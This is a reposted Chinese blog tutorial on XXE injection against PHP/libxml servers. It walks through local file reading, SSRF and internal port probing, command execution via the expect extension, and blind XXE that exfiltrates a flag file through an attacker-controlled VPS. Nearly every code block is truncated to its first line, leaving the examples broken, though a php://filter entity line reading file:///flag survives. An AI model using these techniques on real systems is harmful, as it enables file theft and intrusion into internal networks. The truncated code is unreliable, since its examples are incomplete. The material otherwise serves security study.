xml注入攻击
Posted 司塔科信息安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xml注入攻击相关的知识,希望对你有一定的参考价值。
漏洞描述
XML文件的解析依赖libxml库,而libxml2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的xml文件时未对xml文件引用的外部实体(含外部普通实体和外部参数实体)做合适的处理,并且实体的URL支持file://和php://等协议,攻击者可以在xml文件中声明URI指向服务器本地的实体造成攻击。
形成原因
解析xml文件时允许加载外部实体,没有过滤用户提交的参数 。
漏洞利用
读取本地文件
以php环境为例,index.php内容如下:
1 |
<?php |
利用各种协议可以读取文件。比如file协议,这里的测试环境为win,所以这里我选择读取h盘里的stark.txt。
1 |
<?xml version="1.0" encoding="utf-8"?> |
将上述xml进行url编码后传进去,可以发现读取了stark.txt中的内容。
注:
如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。
1 |
<?xml version="1.0" encoding="utf-8"?> |
同样先经过url编码后再传入。
内网探测/SSRF
由于xml实体注入攻击可以利用http://
协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
探测内网端口
1 |
<?xml version="1.0" encoding="utf-8"?> |
攻击内网网站
1 |
<?xml version="1.0" encoding="utf-8"?> |
命令执行
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令
1 |
<?xml version="1.0" encoding="utf-8"?> |
bind xxe
对于无回显的xml注入:
在你的vps上放1.xml文件,内容如下:
1 |
<!ENTITY % f SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> |
再在你的vps上放xxe.php,内容如下:
1 |
<?php |
最后在可以写xml的页面写如下:
1 |
<!DOCTYPE ANY[ |
访问1.txt就可以获得flag的内容
以上是关于xml注入攻击的主要内容,如果未能解决你的问题,请参考以下文章